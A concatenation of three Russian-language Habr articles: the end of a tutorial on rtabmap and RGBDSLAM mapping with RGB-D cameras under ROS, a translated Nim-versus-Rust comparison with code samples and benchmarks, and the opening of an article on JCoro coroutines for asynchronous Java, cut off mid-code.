roslaunch rtabmap_ros rtabmap.launch rtabmapviz:=false rviz:=false rtabmap_args:="--delete_db_on_start"
```
Откроется окно rviz:
Добавим дисплей Odometry и выберем топик “/rtabmap/odom”. После некоторого перемещения камеры в пространстве мы получим в rviz подобную картинку:
После того, как мы полностью пройдем помещение с камерой, мы получим:
Если мы будем двигаться по помещению медленно, гладко перемещая камеру без резких движений, то мы может получить довольно точную карту:
Мы можем добавить дисплей Map типа OccupancyGrid и выбрать топик “/rtabmap/proj\_map” для визуализации плоской карты (как если бы мы использовали gmapping):
При закрытии окна rviz база данных и карта автоматически сохраняются на диске (путь выводится в строке в терминале).
Использование rtabmap на Raspberry Pi 3 с ASUS Xtion Pro Live
-------------------------------------------------------------
Запустим rtabmap:
```
rtabmap
```
Откроется уже знакомое нам окно. Создаем базу данных: File -> New database:
Выбираем драйвер OpenNI2 для камеры Xtion Pro Live:
Запускаем процедуру построения карты кнопкой Start:
Мы получаем:
Спустя некоторое время в процессе перемещения с камерой:
На Raspberry Pi процесс rtabmap у меня оказался довольно ресурсоемкий (использовал 250 — 300 % CPU). Иногда окно темнело, один раз rtabmap упал с ошибкой Segmentation fault.
При использовании настроек по умолчанию rtabmap работает на Raspberry Pi крайне медленно, фреймрейт очень низкий. Для эффективной работы нужно настроить входную частоту кадров. Для этого в верхнем меню открываем Window → Preferences → General settings (GUI) и наживаем кнопку «Load settings...». Устанавливаем значение 30 Hz для «input rate»:
О настройке параметров в rtabmap можно подробнее прочитать [здесь](https://github.com/introlab/rtabmap/wiki/Change-parameters).
Теперь процедура построения карты работает намного быстрее:
На видео видно, как один раз теряются данные одометрии (возникает красный фон вокруг найденного кандидата Loop closure detection) и я делаю сброс одометрии через Detection -> Reset odometry. Потеря одометрии часто связана с недостаточным числом найденных признаков (например, слаботекстурные поверхности) и слишком быстрым перемещением камеры. У нас полностью очищается карта и все начинается заново.
Карта почти готова:
Наша задача здесь получить [успешную детекцию циклов](https://github.com/introlab/rtabmap/wiki/Kinect-mapping) (loop closure detection). В случае успешной детекции циклов кандидат подсвечивается зеленым фоном.
Также можно показать результат детекции цикла в панели «3D loop closure». Для этого в верхнем меню выберем: Window → Show view → 3D Loop closure. Используя кнопки с цифрами от 1 до 5 мы можем изменить формат представления облаков точек (произвольные цвета, цветовой градиент по осям (axis oriented colors) или RGB):
Мы можем нажать кнопку Pause для приостановки и кнопку Stop для завершения процесса. Мы также можем выйти из программы и сохранить наш прогресс в базе данных. При закрытии программа покажет всплывающее окно с предложением сохранить изменения. В дальнейшем мы можем возобновить процесс, запустив программу и выбрав существующую базу данных.
Нам предложат загрузить карту для базы данных.
У меня получилась такая карта (я снимал часть помещения):
В настройках rtabmap (в верхнем меню Window → Preferences) можно выбрать алгоритм вычисления одометрии (использумый дескриптор визуальных признаков). Для этого в настройках выберем: RTAB-Map Settings → Memory → Vocabulary около пункта Feature selection и выберем алгоритм из выпадающего списка Visual word type:
В моих экспериментах одометрия с визуальным словарем GFTT+BRIEF работает лучше всего, BRISK показала худший результат (не удалось получить детекцию цикла совсем). При использовании GFTT+BRIEF, детекция цикла была получена сразу после полного оборота с камерой вокруг комнаты. Алгоритм ORB используется по умолчанию и дает не очень хорошие результаты.
rtabmap поддерживает довольно широкий выбор камер (RGB-D камеры Intel RealSense, ASUS Xtion, Kinect v1 и v2, а также стерео камеры Bumblebee2 и ZED camera) и несколько возможных сценариев построения карты с использованием различных комбинаций камеры, лидара и сенсора IMU (туториалы можно посмотреть [здесь](http://wiki.ros.org/rtabmap_ros/Tutorials/SetupOnYourRobot)).
RGBDSLAM
--------
### Установка RGBDSLAMv2
О RGBDSLAM можно прочитать подробно на [официальной странице ROS](http://wiki.ros.org/rgbdslam/) и на [странице github](https://github.com/felixendres/rgbdslam_v2).
Устанавливаем RGBDSLAM из исходников:
```
cd ~/catkin_ws/src
git clone https://github.com/felixendres/rgbdslam_v2.git
```
Устанавливаем библиотеку libg2o:
```
sudo apt-get install ros--libg2o
```
где ros\_version — версия ROS (hydro, indigo или kinetic).
Компилируем RGBDSLAM в рабочем каталоге catkin:
```
cd ~/catkin_ws
catkin_make
source devel/setup.bash
rosdep install rgbdslam
```
Мне не удалось установить RGBDSLAM на Raspberry Pi из-за проблемы с Qt, поэтому здесь я рассматриваю работу алгоритма только на ROS Indigo с камерой Microsoft Kinect.
### Использование RGBDSLAMv2
Запустим rosmaster:
```
roscore
```
RGBDSLAMv2 можно запустить двумя способами. Во-первых, с помощью launch файла:
```
roslaunch rgbdslam openni+rgbdslam.launch
```
Либо отдельно запустить openni\_launch и узел RGBDSLAMv2:
```
roslaunch openni_launch openni.launch
roslaunch rgbdslam rgbdslam.launch
```
Мы увидим подобный экран:
Построение карты начнется сразу после запуска программы. RGBDSLAM довольно ресурсоемкий, у меня команда top показала 155% загрузки процессора для процесса rgbdslam.
Когда построение карты завершено, необходимо остановить обработку потока с камеры, сняв галочку Processing в меню Processing:
Построение карты завершено:
Мы можем сохранить карту. Также можно сбросить текущий прогресс в процедуре построения карты, выбрав Reset в меню Processing:
Подробную инструкцию по использованию RGBDSLAM можно найти на [официальной странице](http://felixendres.github.io/rgbdslam_v2/).
Как показали эксперименты, данные алгоритмы SLAM вполне пригодны для использования в робототехнических проектах на основе ROS при наличии RGBD камеры Microsoft Kinect и дают в результате неплохую карту местности. К сожалению, не все методы работают на ARM платформах (по крайней мере, на Raspberry Pi). Преимуществом инструмента rtabmap является возможность гибкой настройки различных параметров по своему желанию.
Таким образом, мы рассмотрели два наиболее известных алгоритма SLAM для RGBD камер, которые имеют собственную реализацию в ROS. Желающие могут ближе познакомиться с различными сценариями использования данных алгоритмов на официальных страницах (к сожалению, только на английском языке) и применить их в своих проектах. Желаю всем удачи в экспериментах и буду рад ответить на любые ваши вопросы в комментариях. До новых встреч! | https://habr.com/ru/post/373707/ | null | ru | null |
# Сравниваем Nim и Rust
*Предлагаю читателям «Хабрахабра» перевод статьи [«A Quick Comparison of Nim vs. Rust»](http://arthurtw.github.io/2015/01/12/quick-comparison-nim-vs-rust.html). Мои замечания будут выделены курсивом.*
[Rust](http://www.rust-lang.org/) и [Nim](http://nim-lang.org/) — два новых языка программирования за развитием которых я слежу. Вскоре, после моего [первого поста](http://arthurtw.github.io/2014/12/21/rust-anti-sloppy-programming-language.html) о Rust, вышел в свет [Nim 0.10.2](http://nim-lang.org/news.html#Z2014-12-29-version-0-10-2-released). Это побудило меня поближе познакомиться с Nim и, естественно, сравнить его с Rust.
В этом посте я собираюсь показать вам две простых программы написанных на Nim и Rust с грубым сравнением их времени выполнения и выскажу мои субъективные впечатления от программирования на этих языках.
Пример №1: Подсчёт слов (wordcount)
-----------------------------------
В этом примере используется файловый I/O, регулярные выражения, хеш-таблицы (ассоциативные массивы) и парсинг аргументов переданных команде. Как следует из названия, прогрмма подсчитывает количество слов в файлах или **stdin**.
Пример использования:
```
Usage: wordcount [OPTIONS] [FILES]
Options:
-o:NAME set output file name
-i --ignore-case ignore case
-h --help print this help menu
```
Если мы передадим аргумент **-i**, то результат будет таким:
```
2 case
1 file
1 files
1 h
2 help
...
```
### Nim версия
Программа на Nim достаточно проста. В ней используются [tables](http://nim-lang.org/docs/tables.html#CountTable).**CountTable** для подсчёта слов, [parseopt2](http://nim-lang.org/docs/parseopt2.html).**getopt** для парсинга аргументов команды и [sequtils](http://nim-lang.org/docs/sequtils.html).**mapIt** для функциональной операции мэппинга. Для регулярных выражения я выбрал модуль [pegs](http://nim-lang.org/docs/pegs.html), который рекомендуется документацией Nim заместо [re](http://nim-lang.org/docs/re.html).
Деректива **{.raises: [IOError].}** на строке 3 гарантирует что процедура **doWork** выбрасывает только исключение **IOError**. Для этого я поместил **input.findAll(peg"\w+")** внутрь **try** выражения в строке 21 чтобы отловить исключения, которые, теоретически, могут возникнуть.
Часть кода [wordcount.nim](https://github.com/arthurtw/nim-examples/blob/master/wordcount.nim):
```
proc doWork(inFilenames: seq[string] = nil,
outFilename: string = nil,
ignoreCase: bool = false) {.raises: [IOError].} =
# Open files
var
infiles: seq[File] = @[stdin]
outfile: File = stdout
if inFilenames != nil and inFilenames.len > 0:
infiles = inFilenames.mapIt(File, (proc (filename: string): File =
if not open(result, filename):
raise newException(IOError, "Failed to open file: " & filename)
)(it))
if outFilename != nil and outFilename.len > 0 and not open(outfile, outFilename, fmWrite):
raise newException(IOError, "Failed to open file: " & outFilename)
# Parse words
var counts = initCountTable[string]()
for infile in infiles:
for line in infile.lines:
let input = if ignoreCase: line.tolower() else: line
let words = try: input.findAll(peg"\w+") except: @[]
for word in words:
counts.inc(word)
# Write counts
var words = toSeq(counts.keys)
sort(words, cmp)
for word in words:
outfile.writeln(counts[word], '\t', word)
```
### Rust версия
Для лучшего понимания Rust я реализовал простую структуру **BTreeMap** сродни **collections::BTreeMap**, но в конечном итоге я использовал **collections::HashMap** для справедливого сравнения с Nim (код **BTreeMap** остался в репозитории для ознакомления). Пакет [getopts](http://doc.rust-lang.org/getopts/getopts/index.html) используется для парсинга аргументов команды в мою структуру **Config**. Далее всё должно быть понятно.
Часть кода из моего проекта [Rust wordcount](https://github.com/arthurtw/rust-examples/tree/master/wordcount):
```
fn do_work(cfg: &config::Config) -> io::Result<()> {
// Open input and output files
let mut readers = Vec::with_capacity(std::cmp::max(1, cfg.input.len()));
if cfg.input.is_empty() {
readers.push(BufReader::new(Box::new(io::stdin()) as Box));
} else {
for name in &cfg.input {
let file = try!(File::open(name));
readers.push(BufReader::new(Box::new(file) as Box));
}
}
let mut writer = match cfg.output {
Some(ref name) => {
let file = try!(File::create(name));
Box::new(BufWriter::new(file)) as Box
}
None => { Box::new(io::stdout()) as Box }
};
// Parse words
let mut map = collections::HashMap::::new();
let re = regex!(r"\w+");
// let re = Regex::new(r"\w+").unwrap();
// let re = regex!(r"[a-zA-Z0-9\_]+");
// let re = Regex::new(r"[a-zA-Z0-9\_]+").unwrap();
for reader in &mut readers {
for line in reader.lines() {
for caps in re.captures\_iter(&line.unwrap()) {
if let Some(cap) = caps.at(0) {
let word = match cfg.ignore\_case {
true => cap.to\_ascii\_lowercase(),
false => cap.to\_string(),
};
match map.entry(word) {
Occupied(mut view) => { \*view.get\_mut() += 1; }
Vacant(view) => { view.insert(1); }
}
}
}
}
}
// Write counts
let mut words: Vec<&String> = map.keys().collect();
words.sort();
for &word in &words {
if let Some(count) = map.get(word) {
try!(writeln!(writer, "{}\t{}", count, word));
}
}
Ok(())
}
```
Zachary Dremann предложил [pull request](https://github.com/arthurtw/rust-examples/pull/1/files) в котором используется **find\_iter**. Я оставил **captures\_iter** для согласованности с Nim версией, но немного улучшил свой код.
### Сравнение времени выполнения
Я скомпилировал код с флагами **-d:release** для Nim и **--release** для Rust. Для примера взял файл в 5 мегабайт составленый из исходников компилятора Nim:
```
$ cat c_code/3_3/*.c > /tmp/input.txt
$ wc /tmp/input.txt
217898 593776 5503592 /tmp/input.txt
```
Команда для запуска программы:
```
$ time ./wordcount -i -o:result.txt input.txt
```
Вот результат на моём Mac mini с процессором 2.3 GHz Intel Core i7 и памятью 8 GB: (1x = 0.88 секунды)
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| Rust | regex! \w | Regex \w | regex! […] | Regex […] | Nim |
| release, -i | 1x | 1.30x | 0.44x | 1.14x | 0.75x |
| release | 1.07x | 1.33x | 0.50x | 1.24x | 0.73x |
| debug, -i | 12.65x | 20.14x | 8.77x | 19.42x | 3.51x |
| debug | 12.41x | 20.09x | 8.84x | 19.33x | 3.25x |
Примечания:
1. В Rust **regex!** работает быстрее чем **Regex**, и **r"[a-zA-Z0-9\_]+"** быстрее чем **r"\w+"**. Все 4 комбинации были протестированы.
2. Версия «debug» просто для сравнения
3. Nim работает на 1-2% медленнее с флагом **--boundChecks:on**, я не стал добавлять этот результат в пример.
Пример №2: Игра «Жизнь»
-----------------------
Этот пример запускает [«Жизнь»](https://ru.wikipedia.org/wiki/%D0%96%D0%B8%D0%B7%D0%BD%D1%8C_(%D0%B8%D0%B3%D1%80%D0%B0)) в консоле с фиксированными размером поля и шаблоном (для изменения размера или шаблона отредактируйте исходный код). В нём используется [ANSI CSI](https://ru.wikipedia.org/wiki/Управляющие_последовательности_ANSI) код для перерисовки экрана.
После запуска экран будет выглядеть примерно так:
```
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . (). (). . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . (). . . (). . . . . . . . . . .
. . . . . . . . . . . . . . (). . . . . . . (). . . . . . . . . . . . ()().
. . . . . . . . . . . . . ()()()(). . . . (). . . . (). . . . . . . . ()().
. ()(). . . . . . . . . ()(). (). (). . . . (). . . . . . . . . . . . . . .
. ()(). . . . . . . . ()()(). (). . (). . . (). . . (). . . . . . . . . . .
. . . . . . . . . . . . ()(). (). (). . . . . . (). (). . . . . . . . . . .
. . . . . . . . . . . . . ()()()(). . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . (). . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . (). . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . (). (). . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . ()(). . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . (). . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . (). . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ()()(). . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
n = 300 Press ENTER to exit
```
Прграмма использует другой поток для чтения из **stdin** и прерывает игру при получении любого символа.
### Nim версия
Вот часть кода из моего проекта [Nim conway](https://github.com/arthurtw/nim-examples/tree/master/conway):
```
type
Cell = bool
ConwayMap* = array[0.. = 2 and nlive <= 3
else: map[i][j] = nlive == 3
```
### Rust версия
Вот часть кода из моего проекта [Rust conway](https://github.com/arthurtw/rust-examples/tree/master/conway):
```
type Cell = bool;
#[derive(Copy)]
pub struct Conway {
map: [[Cell; MAP_WIDTH]; MAP_HEIGHT],
}
impl Conway {
pub fn new() -> Conway {
Conway {
map: [[false; MAP_WIDTH]; MAP_HEIGHT],
}
}
pub fn init(&mut self, pattern: &[&str]) {
let h = pattern.len();
let h0 = (MAP_HEIGHT - h) / 2;
for i in 0..(h) {
let row = pattern[i];
let w = row.len();
let w0 = (MAP_WIDTH - w) / 2;
for (j, c) in row.chars().enumerate() {
self.map[i + h0][j + w0] = c == '1';
}
}
}
/// Iterate to next state. Return false if the state remains unchanged.
pub fn next(&mut self) -> bool {
let mut newmap = [[false; MAP_WIDTH]; MAP_HEIGHT];
for i in 0..(MAP_HEIGHT) {
for j in 0..(MAP_WIDTH) {
let mut nlive = 0;
for i2 in i.saturating_sub(1)..cmp::min(i+2, MAP_HEIGHT) {
for j2 in j.saturating_sub(1)..cmp::min(j+2, MAP_WIDTH) {
if self.map[i2][j2] && (i2 != i || j2 != j) {
nlive += 1;
}
}
}
newmap[i][j] = match (self.map[i][j], nlive) {
(true, 2) | (true, 3) => true,
(true, _) => false,
(false, 3) => true,
(false, _) => false,
};
}
}
// let changed = self.map != newmap;
let changed = true;
self.map = newmap;
changed
}
}
impl fmt::Display for Conway {
fn fmt(&self, f: &mut fmt::Formatter) -> fmt::Result {
for row in self.map.iter() {
for cell in row.iter() {
try!(write!(f, "{}", if *cell { "()" } else { ". " }));
}
try!(write!(f, "\n"));
}
Ok(())
}
}
```
В строке 49 я определил переменную для отслеживания изменения отображения, но простое сравнение **self.map != newmap** не работает для массивов длинной более 32 элементов, пока вы не реализуете трейт **PartialEq**.
Отмечу, что я использовал небезопасный **libc::exit** в моём [main.rs](https://github.com/arthurtw/rust-examples/blob/master/conway/src/main.rs#L23), что очень не характерно для Rust. Zachary Dremann предложил [pull request](https://github.com/arthurtw/rust-examples/pull/2/files) в котором элегантно избегается **libc::exit** с использованием макроса **select!** и неблокирующего таймера. Возможно вы захотите посмотреть.
### Сравнение времени выполнения
Для сравнения времени выполнения необходимо произвести некоторые изменения в коде:
1. Закомментировать вызов sleep в [conway.nim](https://github.com/arthurtw/nim-examples/blob/master/conway/conway.nim#L31) и
[main.rs](https://github.com/arthurtw/rust-examples/blob/master/conway/src/main.rs#L37)
2. Изменить количество итераций цикла с 300 до 3000
3. Перерисовка поля тратит много времени, поэтому произведены два замера (1) с перерисовкой и (2) без неё (т.е. с закомментированными строками вывода поля на печать в [conway.nim](https://github.com/arthurtw/nim-examples/blob/master/conway/conway.nim#L29) и [main.rs](https://github.com/arthurtw/rust-examples/blob/master/conway/src/main.rs#L34,L35))
Вот результаты при компиляции с флагами **-d:release** для Nim и **--release** для Rust:
| | | | | |
| --- | --- | --- | --- | --- |
| | Rust | Nim | Nim/bc:on | n=30000 |
| (1) with map print | 1x | 1.75x | 1.87x | 1x=3.33s |
| (2) without map print | 1x | 1.15x | 1.72x | 1x=0.78 |
Т.к. Rust делает проверку на выход за границу списка, для справедливости я добавил колонку **Nim/bc:on** для Nim версии скомпилированной с флагом **--boundChecks:on**.
Nim или Rust
------------
Хоть Nim и Rust компилируемые языки с рассчётом на хорошую производительность они очень разные. Для меня их сходства заключаются в следующем:
* компилируемые и статически типизированные
* рассчёт на хорошую производительность (каждый из них может отработать быстрее в зависимости от реализации программы и её дальнейших оптимизаций)
* композиция вместо наследования (похоже на тренд в новых языках?)
* простая связка с Си
* популярные языковые лакомства: дженерики, замыкания, функциональные подходы, вывод типов, макросы, операторы в виде инструкций и т.д.
Но их различия более интересны.
### Философия: свобода или дисциплина
При программировании на Nim складывается ощущение что пишешь на скриптовом языке. Он действительно стирает грань. Nim старается избавиться от шума в коде настолько, насколько это возможно и поэтому программировать на нём в радость.
Однако есть и обратная сторона у такой свободы: могут пострадать ясность, чистота и поддерживаемость. Вот небольшой пример: в Nim **import** импортирует все имена модуля в ваше пространство имён. Имена из импортируемого модуля могут быть ограничены использованием синтаксиса **module.symbol** или использованием **from module import nil** для контролируемого импорта имён, но, скажите мне, кто этим пользуется? Тем более, что этот подход не характерен для Nim. В результате вы не сможете понять какие имена пришли из какого модуля при чтении чужого (или собственного) кода (к счастью, противоречий наименований не случается, т.к. в таких случаях Nim заствляет отделять мух от котлет).
Ещё примеры: [UFCS](http://en.wikipedia.org/wiki/Uniform_Function_Call_Syntax) позволяет использовать **len(x)**, **len x**, **x.len()** или **x.len** как вам вздумается; не разделяет имена с подчёркиванием и разным регистром, так **mapWidth**, **mapwidth** и **map\_width** будут преобразованы в одно и тоже имя (я рад что они включили правило «частичной чувствительности к регистру» в версии 0.10.2, поэтому **Foo** и **foo** будут считаться различными именами); в порядке вещей является использование неинициализированных переменных. В теории, вы можете следовать строгим принципам кодирования, но при программировании в Nim вы будете чувствовать себя более раскованно.
С другой стороны, Rust чтит дисциплину. Его компилятор очень строгий. Всё должно быть предельно ясно. Вы заранее получаете правильные подходы. Неоднозначность — это не про код на Rust…
Такой подход, как правило, хорош для долгоживущих проектов и для поддерживаемости, но при программировании на Rust вы начинаете заботиться о таких деталях, которые могут быть вам совсем не интересны. Вы начинаете задумываться об использовании памяти или увеличении производительности, даже если это не является приоритетом для вашей задачи. Rust делает вас более дисциплинированным.
Оба имеют свои плюсы и минусы. Как программист, я больше наслаждаюсь от Nim; как майнтейнер, я бы лучше сопровождал продукты написанные на Rust.
### Визуальный стиль: Python или C++
Как и Python, Nim использует отступы для отделения блоков кода и в нём меньше всяких [знаков](http://en.wikipedia.org/wiki/Sigil_(computer_programming)). Rust более похож на C++. **{}**, **::**, **<>** и **&** будут знакомы C++ программистам, плюс Rust добавляет некоторы новые вещи вроде **'a**.
Иногда Nim может быть слишком буквальным. Для примера, я думаю синтаксис **match** в Rust:
```
match key.cmp(&node.key) {
Less => return insert(&mut node.left, key, value),
Greater => return insert(&mut node.right, key, value),
Equal => node.value = value,
}
```
выглядит чище, чем выражение **case** в Nim:
```
case key
of "help", "h": echo usageString
of "ignore-case", "i": ignoreCase = true
of "o": outFilename = val
else: discard
```
Но, в целом, код на Nim менее зашумлен. По моему мнению, особенный беспорядок в Rust вносят параметры времени жизни *(lifetime parameters)* и это уже не изменится.
### Управление памятью: Сборщик мусора или ручное управление
Хоть Nim и позволяет небезопасное управление памятью и обеспечивает поддержку управления сборщиком мусора в рантайме для более предсказуемымого поведения. Это всё ещё язык со сборщиком мусора, который обладает всеми плюсами и минусами от него. Объектам в Nim присваиваются копии значений. Если для вашей задачи сборщик мусора не помешает, то управление памятью в Nim не будет вызывать у вас проблем.
Rust обеспечивает ограниченную поддержку собрщика мусора, но чаще вы будете полагаться на систему [владения](https://doc.rust-lang.org/stable/book/ownership.html) в управлении памятью. Будучи программистом на Rust вы должны полностью разобраться в его модели управления памятью (владение, заимствование и время жизни) прежде чем вы начнёте эффективно писать програмы, что является первым барьером для новичков.
С другой стороны, в этом же заключается и сила Rust — безопасное управление памятью без использования сборщика мусора. Rust прекрасно справляется с этой задачей. Наряду с безопасностью разделяемых ресрусов, безопасностью конкурентного доступа к данным и устранением null указателей Rust является черезвычайно надёжным языком программирования с отсутствием накладных расходов на потребление ресурсов в рантайме.
В зависимости от ваших требований, либо вам будет достаточно сборщика мусора Nim, либо ваш выбор падёт на Rust.
Другие различия
---------------
Сильные стороны Nim:
1. Продуктивность: в одинаковых временных рамках вы запилите больше возможностей в Nim
2. Простота в изучении
3. Компилируемый язык как скриптовый, хорош для протипирования, интерактивного исследования, пакетной обработки данных и т.д
4. Фишечки:
* переопределение методов
* определение новых опереаторов
* именованные аргументы и значения по-умолчанию
* мощные макросы
Сильные стороны Rust:
1. Настоящий системный язык прогрммирования: встраиваемый, без сборщика мусора, [близок к железу](http://en.wikipedia.org/wiki/Bare_machine)
2. Безопасный, дисциплинирующий, надёжный
3. Сильная команда ядра и активное сообщество
4. Фишечки:
* превосходная реализация сопоставления с образцом *(pattern matching)*
* перечисления *(enum)*, хотя в Nim перечисления тоже хороши
* **let mut** вместо **var** (маленькая, но важная вещь)
* мощный синтаксис разыменования структур
Обработка ошибок: в Nim используется общий механизм исключений, Rust использует возвращаемый тип **Result** (и макрос **panic!**). У меня нет предпочтений в этом, но я посчитал важным упомянуть это различие.
Релиз 1.0 на подходе
--------------------
Nim и Rust должны зарелизиться в этом году *(Rust [зарелизился](http://habrahabr.ru/post/258069/))*. Это очень здорово! Rust получил уже достаточно много внимания, но и Nim становится более известным. Они очень разные на вкус, но оба великолепные новые языки программирования. Rust показывает себя с лучшей стороны в вопросах производительности и безопасности. Nim проворный *(игра слов: Nim is nimble)*, выразительный, реализует сильные стороны скриптовых и компилируемых языков. Они оба станут отличным дополнением вашего инструментария.
Надеюсь, после прочтения этой статьи, вы составили своё мнение об этих языках программирования. | https://habr.com/ru/post/259993/ | null | ru | null |
# JCoro — асинхронность на сопрограммах в Java
К исследованиям в этой сфере меня вдохновила статья [Асинхронность: назад в будущее](http://habrahabr.ru/post/201826/). В ней автор описывает идею о том, как, используя [сопрограммы](https://ru.wikipedia.org/wiki/Сопрограмма), можно упростить асинхронный код так, чтобы выглядел он так же, как обычный синхронный, но сохранял плюшки, которые нам даёт применение асинхронных операций. Вкратце, суть подхода такова: если у нас есть механизм, позволяющий сохранять и восстанавливать контекст выполнения (поддержка сопрограмм), то код на цепочках callback'ов
```
startReadSocket((data) -> {
startWriteFile(data, (result) -> {
if (result == ok) ...
});
});
```
мы можем переписать так:
```
data = readSocket();
result = writeFile(data);
if (result == ok) ...
```
Здесь readSocket() и writeFile() — сопрограммы, в которых асинхронные операции вызываются следующим образом:
```
byte[] readSocket() {
byte[] result = null;
startReadSocket((data) -> {
result = data;
resume();
});
yield();
return result;
}
```
Методы yield() и resume() сохраняют и восстанавливают контекст выполнения, со всеми фреймами и локальными переменными. Происходит следующее: при вызове readSocket() мы планируем асинхронную операцию вызовом startReadSocket() и выполняем yield(). Yield() сохраняет контекст выполнения и поток завершается (возвращается в пул). Когда асинхронная операция будет выполнена, мы вызовем resume() перед выходом из callback'a, и тем самым возобновим выполнение кода. Управление снова получит основная функция, которая вызовет writeFile(). writeFile() устроен аналогично, и всё повторится.
Сделав единожды такое преобразование для всех используемых асинхронных операций и поместив полученные функции в библиотеку, мы получаем инструмент, позволяющий нам писать асинхронный код так, как будто это обычный синхронный код. Мы получаем возможность сочетать плюсы синхронного кода (читабельность, удобная обработка ошибок) и асинхронного (производительность). Плата за это удобство — необходимость как-то сохранять и восстанавливать контекст выполнения. В статье автор описывает реализацию на С++, мне же захотелось заиметь что-то такое в Java. Об этом и пойдёт речь.
javaflow
--------
В первую очередь надо было найти реализацию сопрограмм для JVM. Среди нескольких вариантов самой подходящей оказалась библиотека javaflow. Она бы вполне подошла для эксперимента, но, к сожалению, проект давно заброшен. Потыкав палочкой (декомпилятором) в генерируемый ей код, я выяснил, что в javaflow есть несколько серьезных проблем:
* Совсем не поддерживаются лямбды. Это не удивительно, с учётом того, что последний релиз библиотеки был в 2008 году.
* Код инструментируется крайне не оптимально — инструментируются все вызовы внутри метода, хотя большинство из них никогда не приведёт к вызову suspend(). В результате байт-код сильно распухает, и в реальной жизни такой подход будет неприемлемо медленно работать.
* Нет поддержки reflection. Если в процессе исполнения кода какой-то метод может быть вызван через reflection, javaflow не сможет в этом месте сохранить и восстановить контекст выполнения. А это критично при повседневном программировании, и дело даже не в принципиальной возможности, а в том, что почти все используют сейчас DI-контейнеры, которые работают через reflection. Поэтому запрещать reflection нельзя, это слишком сильное ограничение для программистов.
Несмотря на всё это, javaflow помог разобраться в том, как можно реализовать сохранение и восстановление состояния. Далее было 2 варианта: пытаться поддерживать javaflow или написать свою реализацию. По очевидным соображениям (фатальный недостаток) был избран второй способ.
jcoro
-----
Сопрограммы, добавляемые в язык, где их не было, расширяют его. Чтобы писать приложения, которые полностью используют преимущества предлагаемого подхода, и не материться при этом, нужно сделать их удобными. При чтении кода мы должны сразу видеть, что вот эта функция является сопрограммой и выполняет асинхронную операцию, и поэтому её надо запускать в рамках контекста, поддерживающего сохранение и восстановление стека. В языке C# для этого есть ключевые слова async и await. В Java, к сожалению, добавить свои ключевые слова не представляется реальным, но можно воспользоваться аннотациями! Выглядит всё это, конечно, громоздко, но что поделать. Может быть, придумается ещё что-нибудь. А пока так:
```
Coro coro = Coro.initSuspended(new ICoroRunnable() {
@Override
@Async({@Await("foo")})
public void run() {
int i = 5;
double f = 10;
final String argStr = foo(i, f, "argStr");
}
@Async(@Await("yield"))
private String foo(int x, double y, String m) {
Coro c = Coro.get();
c.yield();
return "returnedStr";
}
});
coro.start();
coro.resume();
```
Наличие аннотации @Async говорит jcoro о том, что нужно инструментировать байткод этого метода, сделав его сопрограммой. Сигнатуры точек восстановления задаются аннотациями @Await. Все вызовы внутри сопрограммы, сигнатуры которых есть в списке @Await-аннотаций, становятся точками восстановления. Сопрограмма в jcoro — это метод, помеченный аннотацией @Async и имеющий хотя бы одну точку восстановления. Если в методе нет ни одной точки восстановления, он не будет инструментирован. Точка восстановления — это вызов Coro.yield() или любой вызов (сопрограммы), который может в конечном счёте привести к вызову Coro.yield().
**Что происходит в приведённом примере?**Сначала создаётся экземпляр Coro — это объект, который хранит в себе сохранённое состояние сопрограммы и может её запускать, сохранять и восстанавливать. Изначально сопрограмма только инициализируется, но не запускается. При вызове start() управление получает метод run(), который первым делом проверяет, не нужно ли восстанавливать состояние. Пока мы только запустили сопрограмму, и run() просто начинает выполнять свой код. Метод выполняет код, вызывает foo(). Внутри foo() выполняется такая же проверка — не нужно ли восстанавливать состояние? Ответ отрицательный, и, аналогично, код метода начинает выполняться с начала. А вот при вызове yield() происходит следующее. Сам вызов yield() только устанавливает флаг «isYielding» и больше ничего не делает, но код после вызова, увидев этот флаг, не продолжает выполнение, а сохраняет своё состояние и сразу же завершается, возвращая null. То же самое происходит уровнем выше. И далее метод start() возвращает управление. Что мы имеем на этот момент? Код до вызова yield() выполнен, состояние выполнения сохранено в экземпляре Coro. Далее мы зовём resume(). Это приводит к повторному вызову метода run(). И, как и в первый раз, метод проверяет, не нужно ли восстановить состояние. На этот раз это действительно нужно сделать, и метод, вспомнив, что остановился он на вызове foo(), восстанавливает свои локальные переменные и стек и переходит прямо к вызову foo(), не выполняя кода, который был перед ним. В методе foo() происходит то же самое — он восстанавливает стек и локальные переменные, а потом переходит сразу к вызову yield(). Вызов yield() сам по себе ничего не делает, кроме сброса внутреннего флага. После него метод foo() завершает выполнение, возвращая строку «returnedStr». Остаётся метод run(), который так же благополучно завершается, возвращая управление коду, вызывающему resume(). На выходе мы имеем полностью отработавшую сопрограмму, выполнение которой мы разбили на две части.
Как это поможет нам в написании асинхронных приложений?
-------------------------------------------------------
Предположим, что нам нужно написать серверное приложение, которое в ответ на запрос обращается к базе данных, потом что-то делает с данными, далее применяет их к шаблону, и возвращает кусочек разметки. Классическое серверное веб-приложение. Почти на всех этапах мы можем использовать асинхронные операции. Установка соединения, чтение данных из сокета при получении запроса, все сетевые операции с базой данных, чтение файла при загрузке шаблона, отправка результата в сокет. CPU в таком сценарии должен быть занят только планированием асинхронных операций, логикой препроцессинга данных и шаблонизацией. В остальное время процессор может отдохнуть. Давайте попробуем прикинуть, как это можно было бы организовать в коде. Набросаем сервер:
```
public static void main(String[] args) {
Coro.initSuspended(new ICoroRunnable() {
@Async({@Await("accept")})
public void run() {
